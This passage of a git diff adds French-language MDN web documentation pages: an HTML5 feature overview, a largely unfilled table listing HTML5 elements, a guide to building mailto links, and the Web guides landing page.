+ <dd>Permet au navigateur de situer l'utilisateur en utilisant la géolocalisation.</dd>
+ <dt><a href="/en-US/docs/WebAPI/Detecting_device_orientation" title="/en-US/docs/WebAPI/Detecting_device_orientation">Détection de l'orientation de l'appareil</a></dt>
+ <dd>Permet de savoir si l'appareil sur lequel tourne le navigateur change d'orientation. Cela peut être utilisé comme un périphérique d'entrée (par exemple, un jeu peut réagir selon la position de l'appareil), ou pour adapter la mise en page suivant l'orientation de l'appareil (portrait ou paysage).</dd>
+ <dt><a href="/en-US/docs/WebAPI/Pointer_Lock" title="/en-US/docs/WebAPI/Pointer_Lock">API Verrouillage de la souris</a></dt>
+ <dd>Permet de verrouiller la souris sur le contenu, afin que les jeux ou les applications similaires ne perdent pas le focus lorsque la souris quitte la limite de la fenêtre.</dd>
+</dl>
+
+<h2 id="Style" style='margin: 0px 0px 0.25em; font: 200 24px/1 "Bebas Neue", "League Gothic", Haettenschweiler, "Arial Narrow", sans-serif; letter-spacing: 1px; text-transform: uppercase; border: medium none;'><img alt="" src="/files/3829/HTML5_Styling_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">Style</h2>
+
+<p><a href="/fr/docs/CSS" title="/fr/docs/CSS">CSS</a> a été enrichi pour styler les éléments d'une manière beaucoup plus avancée. Ceci est souvent défini comme le <a href="/en-US/docs/CSS/CSS3" title="/en-US/docs/CSS/CSS3">CSS3</a>, bien que CSS ne soit plus une spécification monolithique et que les différent modules ne soient pas tous au niveau 3 : certains sont au niveau 1,  d'autres au niveau 4, mais tous les niveaux intermédiaires sont couverts.</p>
+
+<dl>
+ <dt>Nouveaux styles d'arrière-plan</dt>
+ <dd>Il est maintenant possible créer une ombre pour une boîte en utilisant {{cssxref("box-shadow")}}, et de définir <a href="/en-US/docs/Web/Guide/CSS/Using_multiple_backgrounds" title="/en-US/docs/Web/Guide/CSS/Using_multiple_backgrounds">plusieurs arrière-plans</a>.</dd>
+ <dt>Des bordures plus classes</dt>
+ <dd>Il est maintenant non seulement possible d'utiliser des images pour styler les bordures en utilisant {{cssxref("border-image")}}, mais aussi de faire des bords arrondis grâce à la propriété {{cssxref("border-radius")}}.</dd>
+ <dt>Animer vos styles</dt>
+ <dd>En utilisant les <a href="/en-US/docs/Web/Guide/CSS/Using_CSS_transitions" title="/en-US/docs/Web/Guide/CSS/Using_CSS_transitions">Transitions CSS</a> pour animer différents états, ou en utilisant les <a href="/fr/docs/CSS/Animations_CSS" title="/fr/docs/CSS/Animations_CSS">Animations CSS</a> pour animer une partie de la page sans un évènement déclencheur, vous pouvez maintenant gérer les mouvements sur votre page.</dd>
+ <dt>Amélioration de la typographie</dt>
+ <dd>Les auteurs ont un bien meilleur contrôle sur leur typographie. Ils peuvent contrôler {{cssxref("text-overflow")}} et la <a href="/fr/docs/CSS/hyphens" title="/fr/docs/CSS/hyphens">césure automatique</a>. Ils peuvent rajouter une <a href="/fr/docs/CSS/text-shadow" title="/fr/docs/CSS/text-shadow">ombre</a> et des <a href="/fr/docs/CSS/text-decoration" title="/fr/docs/CSS/text-decoration">décorations</a> plus fines. Des polices personnalisées peuvent être utilisées grâce {{cssxref("@font-face")}}.</dd>
+ <dt>Nouvelles options de mise en page</dt>
+ <dd>Pour améliorer la flexibilité de vos designs, deux nouvelles options de mise en page ont été ajoutées : <a href="/fr/docs/CSS/Colonnes_CSS3" title="/fr/docs/CSS/Colonnes_CSS3">Colonnes CSS</a> et <a href="/en-US/docs/Web/Guide/CSS/Flexible_boxes" title="/en-US/docs/Web/Guide/CSS/Flexible_boxes">boîtes flexibles CSS</a>.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/fr/web/guide/html/html5/liste_des_éléments_html5/index.html b/files/fr/web/guide/html/html5/liste_des_éléments_html5/index.html
new file mode 100644
index 0000000000..8e339c8a6f
--- /dev/null
+++ b/files/fr/web/guide/html/html5/liste_des_éléments_html5/index.html
@@ -0,0 +1,579 @@
+---
+title: Liste des éléments HTML5
+slug: Web/Guide/HTML/HTML5/Liste_des_éléments_HTML5
+tags:
+  - Débutant
+  - Guide
+  - HTML
+  - HTML5
+  - Web
+translation_of: Web/HTML/Element
+---
+<p>Cette Page n'est pas encore complète.</p>
+
+<p>Travail progressif basé sur document de travail en court à <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/" rel="external" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/">http://www.whatwg.org/specs/web-apps/current-work/multipage/</a>.</p>
+
+<h3 id="Élément_racine" style="">Élément racine</h3>
+
+<p>Les éléments racines définissent la structure d'un document HTML. Ils sont présents dans chacune des pages web et se situent à la suite de la déclaration doctype à la première ligne du document HTML. Les éléments de page sont placés à l'intérieur des balises ouvrante &lt;html&gt; et fermante &lt;/html&gt;.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Balise</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ HTMLElement("html") }}</td>
+   <td>L'<em>élément HTML racine</em> (<strong><code>&lt;html&gt;</code></strong>) représente la racine du document HTML. Tout autre élément est un descendant de cet élément racine.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Métadonnées_du_document">Métadonnées du document</h3>
+
+<p>Les méta-données contiennent les informations liées à la page telles que les styles de présentation et les scripts. Les méta-données de style et de scripts peuvent être définies au sein de la page web ou via un lien pointant vers un fichier.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Balise</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ HTMLElement("head") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("title") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("base") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("link") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("meta") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("style") }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Gestion_des_scripts">Gestion des scripts</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Balise</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ HTMLElement("script") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("noscript") }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Sections">Sections</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Balise</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ HTMLElement("body") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("section") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("nav") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("article") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("aside") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/fr/HTML/Element/Heading_Elements" title="Elementy blokowe"><code>&lt;h1&gt;,&lt;h2&gt;,&lt;h3&gt;,&lt;h4&gt;,&lt;h5&gt;,&lt;h6&gt;</code></a></td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("hgroup") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("header") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("footer") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("address") }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Contenu_de_type_bloc">Contenu de type bloc</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Balise</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ HTMLElement("p") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("hr") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("pre") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("blockquote") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("ol") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("ul") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("li") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("dl") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("dt") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("dd") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("figure") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("figcaption") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("div") }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Les_sémantiques_à_un_niveau_textuel">Les sémantiques à un niveau textuel</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Balise</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ HTMLElement("a") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("em") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("strong") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("small") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("s") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("cite") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("q") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("dfn") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("abbr") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("data") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("time") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("code") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("var") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("samp") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("kbd") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("sub") }},{{ HTMLElement("sup") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("i") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("b") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("u") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("mark") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("ruby") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("rt") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("rp") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("bdi") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("bdo") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("span") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("br") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("wbr") }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Les_éléments_d'édition">Les éléments d'édition</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Balise</th>
+   <th scope="col"> </th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ HTMLElement("ins") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("del") }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Le_contenu_inclus">Le contenu inclus</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Balise</th>
+   <th scope="col"> </th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ HTMLElement("img") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("iframe") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("object") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("param") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("video") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("audio") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("source") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("track") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("canvas") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("map") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("area") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("svg") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("math") }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Les_données_tabulaire">Les données tabulaire</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Balise</th>
+   <th scope="col"> </th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ HTMLElement("table") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("caption") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("colgroup") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("col") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("tbody") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("thead") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("tfoot") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("tr") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("td") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("th") }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Les_formulaires">Les formulaires</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Balise</th>
+   <th scope="col"> </th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ HTMLElement("form") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("fieldset") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("legend") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("label") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("input") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("button") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("select") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("datalist") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("optgroup") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("option") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("textarea") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("keygen") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("output") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("progress") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("meter") }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Les_éléments_pour_l'interactivité">Les éléments pour l'interactivité</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Balise</th>
+   <th scope="col"> </th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ HTMLElement("details") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("summary") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("command") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("menu") }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/fr/web/guide/html/liens_email/index.html b/files/fr/web/guide/html/liens_email/index.html
new file mode 100644
index 0000000000..54f5d4d9b8
--- /dev/null
+++ b/files/fr/web/guide/html/liens_email/index.html
@@ -0,0 +1,63 @@
+---
+title: Liens email
+slug: Web/Guide/HTML/Liens_email
+tags:
+  - Beginner
+  - Exemple
+  - Guide
+  - HTML
+  - Web
+translation_of: Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#E-mail_links
+---
+<p><span class="seoSummary">Il est parfois utile de créer des liens ou des boutons qui nous permettent d'écrire un nouvel e-mail. Par exemple, on peut les utiliser pour créer un bouton « contactez-nous ». Ceci est possible grâce à l'élement HTML {{HTMLElement("a")}} et au format d'URL <code>mailto</code>.</span></p>
+
+<h2 id="Bases_de_mailto">Bases de <code>mailto</code></h2>
+
+<p>Dans sa forme la plus basique et la plus utilisée, un lien <code>mailto</code> indique simplement l'adresse e-mail du destinataire. Par exemple :</p>
+
+<pre class="brush: html notranslate">&lt;a href="mailto:nullepart@mozilla.org"&gt;Envoyer l'email nulle part&lt;/a&gt;</pre>
+
+<p>Le résultat s'affiche comme ceci : <a href="mailto:nullepart@mozilla.org">Envoyer l'email nulle part</a>.</p>
+
+<p>En réalité, l'adresse e-mail est optionelle. Si on ne l'ajoute pas (le {{htmlattrxref("href", "a")}} contiendra simplement « mailto: »), une nouvelle fenêtre du client de messagerie de l'utilisateur s'ouvrira, sans destinataire spécifié. Cela peut être utile dans le cas d'un bouton « Partager » où l'utilisateur sélectionnera les personnes auxquelles il veut envoyer un e-mail.</p>
+
+<h2 id="Précisions">Précisions</h2>
+
+<p>En plus de l'adresse e-mail, on peut fournir d'autres informations. En effet, n'importe quel champ d'en-tête d'un e-mail standard peut être ajoutée à l'URL <code>mailto</code>. Les plus communément utilisés sont « <code>subject</code> », « <code>cc</code> » et « <code>body</code> » (qui n'est pas réellement un champ d'entête mais qui permet de spécifier un message court pour le nouvel email). Chaque champ et sa valeur sont indiqués comme un terme de requête.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Les valeurs de chaque champ doivent être codées au <a href="https://en.wikipedia.org/wiki/Percent-encoding">format URL</a>.</p>
+</div>
+
+<h3 id="Échantillons_dURL_mailto">Échantillons d'URL <code>mailto</code></h3>
+
+<p>Voici quelques échantillons d'URL <code>mailto</code>:</p>
+
+<ul>
+ <li><a href="mailto:">mailto:</a></li>
+ <li><a href="mailto:nullepart@mozilla.org">mailto:nullepart@mozilla.org</a></li>
+ <li><a href="mailto:nullepart@mozilla.org,personne@mozilla.org">mailto:nullepart@mozilla.org,personne@mozilla.org</a></li>
+ <li><a href="mailto:nullepart@mozilla.org?cc=personne@mozilla.org">mailto:nullepart@mozilla.org?cc=personne@mozilla.org</a></li>
+ <li><a href="mailto:nullepart@mozilla.org?cc=personne@mozilla.org&amp;subject=Ceci%20est%20le%20sujet">mailto:nullepart@mozilla.org?cc=personne@mozilla.org&amp;subject=Ceci%20est%20le%20sujet</a></li>
+</ul>
+
+<p>Notez l'utilisation de l'esperluette (&amp;) pour séparer les champs de l'URL <code>mailto</code>. C'est le format standard d'écriture des URL.</p>
+
+<h3 id="Exemple">Exemple</h3>
+
+<p>Si vous voulez créer un lien qui permettrait de s'inscrire à une newsletter, vous pouvez utiliser un lien <code>mailto</code> comme ceci :</p>
+
+<pre class="brush: html notranslate">&lt;a href="mailto:nullepart@mozilla.org?subject=Demande%20inscription%20newsletter&amp;body=Inscrivez-moi%20%C3%A0%20votre%20newsletter%20%21%0D%0A%0D%0ANom%20complet%20%3A%0D%0A%0D%0AO%C3%B9%20avez-vous%20entendu%20parler%20de%20nous%20%3F"&gt;
+Inscrivez-vous à notre newsletter
+&lt;/a&gt;</pre>
+
+<p>Le résultat s'affiche comme ceci : <a href="mailto:nullepart@mozilla.org?subject=Demande%20inscription%20newsletter&amp;body=Inscrivez-moi%20%C3%A0%20votre%20newsletter%20%21%0D%0A%0D%0ANom%20complet%20%3A%0D%0A%0D%0AO%C3%B9%20avez-vous%20entendu%20parler%20de%20nous%20%3F">Inscrivez-vous à notre newsletter</a>.</p>
+
+<section id="Quick_Links">
+<ol>
+ <li>{{HTMLElement("a")}}</li>
+ <li>{{RFC(6068, "The 'mailto' URI Scheme")}}</li>
+ <li>{{RFC(5322, "Internet Message Format")}}</li>
+ <li><a href="http://www.url-encode-decode.com/">Encodage/décodage d'URL en ligne</a></li>
+</ol>
+</section>
diff --git a/files/fr/web/guide/index.html b/files/fr/web/guide/index.html
new file mode 100644
index 0000000000..54392f7516
--- /dev/null
+++ b/files/fr/web/guide/index.html
@@ -0,0 +1,66 @@
+---
+title: Guides pour les développeurs du Web
+slug: Web/Guide
+tags:
+  - Guide
+  - Landing
+  - Web
+translation_of: Web/Guide
+---
+<p><strong>Ces articles sont des tutoriels et guides pratiques permettant d'utiliser certaines API et technologies web.</strong></p>
+
+<div class="row topicpage-table">
+<div class="section">
+<dl>
+ <dt class="landingPageList"><a href="/fr/docs/Apprendre/HTML">Apprendre - HTML</a></dt>
+ <dd class="landingPageList"><em>HyperText Markup Language</em> (HTML) est le langage de base pour la grande partie du contenu web. La plupart de ce que vous voyez à l'écran est décrit en HTML.</dd>
+ <dt class="landingPageList"><a href="/fr/docs/Apprendre/CSS">Apprendre - CSS</a></dt>
+ <dd class="landingPageList"><em>Cascading Style Sheets</em> (CSS) est un langage de feuille de styles utilisé afin de définir la présentation d'un document écrit en HTML.</dd>
+ <dt class="landingPageList"><a href="/fr/docs/Web/Guide/Audio_and_video_delivery">Fournir de l'audio et/ou de la vidéo</a></dt>
+ <dd class="landingPageList">Il est possible d'intégrer de l'audio et de la vidéo à du contenu web de différentes façons : que ce soit des fichiers statiques ou des flux adaptatifs. Cet article est une introduction à ces différentes méthodes et à la compatibilité pour les principaux navigateurs web.</dd>
+ <dt class="landingPageList"><a href="/fr/docs/Web/Guide/Audio_and_video_manipulation">Manipuler des données audio ou vidéo</a></dt>
+ <dd class="landingPageList">Il est possible de combiner les technologies web et les médias afin de créer de nouveaux usages. Dans cet article, nous verrons comment utiliser des technologies web telles que {{htmlelement("canvas")}}, <a href="/fr/docs/Web/WebGL">WebGL</a> ou l'API <a href="/fr/docs/Web/API/Web_Audio_API">Web Audio</a> afin de modifier les fichiers audio ou vidéo directement (en ajoutant des effets de réverbération ou des filtres de couleurs).</dd>
+ <dt class="landingPageList"><a href="/fr/docs/Web/Guide/Events">Guide sur les évènements</a></dt>
+ <dd class="landingPageList">Les évènements peuvent désigner deux concepts : un patron de conception permettant de gérer de façon asynchrone ce qui se produit lors de la vue d'une page web d'une part et la liste, les noms et les caractéristiques desdits évènements d'autre part.</dd>
+ <dt class="landingPageList"><a href="/fr/docs/Web/Guide/AJAX">AJAX</a></dt>
+ <dd class="landingPageList">AJAX est un terme regroupant différentes technologies qui permettent aux applications web d'appliquer des mises à jour incrémentales au contenu de la page sans mettre à jour l'intégralité de la page. Cela permet d'obtenir des applications plus rapides et plus réactives.</dd>
+ <dt class="landingPageList"><a href="/fr/docs/Web/Guide/Graphics">Les graphismes sur le Web</a></dt>
+ <dd class="landingPageList">Les sites et applications web modernes utilisent généralement des graphismes (avec différents degrés de sophistication).</dd>
+ <dt class="landingPageList"><a href="/fr/docs/Web/Guide/API">Guide pour les API web</a></dt>
+ <dd class="landingPageList">Une liste de l'ensemble des API web et de leur rôle.</dd>
+ <dt><a href="/fr/docs/JavaScript" title="/fr/docs/JavaScript">JavaScript</a></dt>
+ <dd>JavaScript est un langage de script notamment utilisé pour créer des applications sur le Web.</dd>
+ <dt class="landingPageList"><a href="/fr/docs/Localizations_and_character_encodings">Localisations et encodages</a></dt>
+ <dd class="landingPageList">En interne, les navigateurs traitent le texte en Unicode. Toutefois, la façon de représenter les caractères sous forme d'octets (l'encodage) est utilisée lors du transfert du texte sur le réseau vers le navigateur. La <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/semantics.html#charset">spécification HTML recommande l'usage de l'encodage UTF-8</a> (qui peut représenter l'ensemble des caractères Unicode). Quel que soit l'encodage utilisé, le contenu web doit déclarer l'encodage qu'il utilise.</dd>
+ <dt class="landingPageList"><a href="/fr/docs/Web/Guide/Mobile">Développement web pour mobile</a></dt>
+ <dd class="landingPageList">Cet article fournit un aperçu des techniques principales utilisées pour concevoir des sites web qui fonctionnent correctement sur les appareils mobiles. Voir aussi <a href="/fr/docs/Mozilla/Firefox_pour_Android">Firefox for Android</a>.</dd>
+</dl>
+</div>
+
+<div class="section">
+<dl>
+ <dt class="landingPageList"><a href="/fr/Apps/Progressive#Core_PWA_guides">Applications web progressives (PWA)</a></dt>
+ <dd class="landingPageList">Les applications web progressives (aussi appelées PWA) utilisent des API web modernes ainsi que des techniques d'amélioration progressive afin de créer des applications web fonctionnant sur différentes plateformes. Ces applications fonctionnent sur différents appareils et fournissent certaines fonctionnalités les rapprochant des applications natives. Dans ce guide, nous verrons ce qu'il vous faut savoir à propos des PWA.</dd>
+ <dt class="landingPageList"><a href="/fr/docs/Web/Guide/Performance">Optimisation et performance</a></dt>
+ <dd class="landingPageList">Lorsqu'on construit des sites et applications web, il est crucial que le contenu soit fourni rapidement et efficacement. Ainsi, votre site ou application fonctionnera au mieux, que ce soit sur un PC puissant ou sur un appareil mobile potentiellement plus léger.</dd>
+ <dt class="landingPageList"><a href="/fr/docs/Web/Guide/Parsing_and_serializing_XML">Analyser et sérialiser du XML</a></dt>
+ <dd class="landingPageList">La plateforme web fournit différentes méthodes pour analyser (<em>parsing</em>) et sérialiser du XML dont chacune a ses avantages et ses inconvénients.</dd>
+ <dt class="landingPageList"><a href="/fr/docs/Web/Guide/WOFF"><em>Web Open Font Format</em> (WOFF)</a></dt>
+ <dd class="landingPageList">Le format WOFF (<em>Web Open Font Format</em>) est un format pour représenter des polices de caractères afin de les utiliser sur le Web.</dd>
+ <dt class="landingPageList"><a href="/fr/docs/Web/Guide/Unicode_Bidrectional_Text_Algorithm">Algorithme de texte Unicode bidirectionnel (BiDi)</a></dt>
+ <dd class="landingPageList">L'algorithme Unicode® BiDi fait partie du standard Unicode. Il décrit la façon dont le navigateur doit ordonner les caractères lorsqu'il affiche du texte Unicode. Ce guide présente l'algorithme en général et la façon dont il s'applique au contenu que vous créez. Cela s'avère particulièrement utile lorsque vous concevez et implémentez des systèmes avec une localisation et une internationalisation.</dd>
+ <dt class="landingPageList"><a href="/fr/docs/Web/Guide/Using_FormData_Objects">Manipuler les objets <code>FormData</code></a></dt>
+ <dd class="landingPageList">L'objet <a href="https://developer.mozilla.org/en/DOM/XMLHttpRequest/FormData"><code>FormData</code></a> permet de compiler un ensemble de paires de clés/valeurs et de l'envoyer via une <code>XMLHttpRequest</code>. Son but principal est d'envoyer des données de formulaire mais il peut être utilisé sans formulaire afin de transmettre des données utilisant des clés. Le format de la transmission est identique à ce qui serait utilisé par la méthode <code>submit()</code> d'un formulaire si l'encodage de celui-ci valait <code>"multipart/form-data"</code>.</dd>
+ <dt class="landingPageList"><a href="/fr/docs/Web/Guide/User_input_methods">Gérer la saisie de l'utilisateur et les contrôles</a></dt>
+ <dd class="landingPageList">Sur les sites et applications web, un utilisateur peut interagir avec sa souris et son clavier mais aussi avec d'autres outils (écran tactile par exemple). Cet article fournit quelques recommandations sur la gestion de la saisie de l'utilisateur pour les applications web ainsi qu'une FAQ, des exemples concrets et des liens vers des informations supplémentaires détaillées.</dd>
+ <dt class="landingPageList"><a href="/fr/docs/Glossaire">Glossaire</a></dt>
+ <dd class="landingPageList">Définit de nombreux termes techniques relatifs au Web et à Internet.</dd>
+</dl>
+</div>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Reference" title="/fr/docs/Web/Reference">Référence pour les développeurs web</a></li>
+</ul>
diff --git a/files/fr/web/guide/mobile/index.html b/files/fr/web/guide/mobile/index.html
new file mode 100644
index 0000000000..8cc4376982
--- /dev/null
+++ b/files/fr/web/guide/mobile/index.html
@@ -0,0 +1,44 @@
+---
+title: Développement web mobile
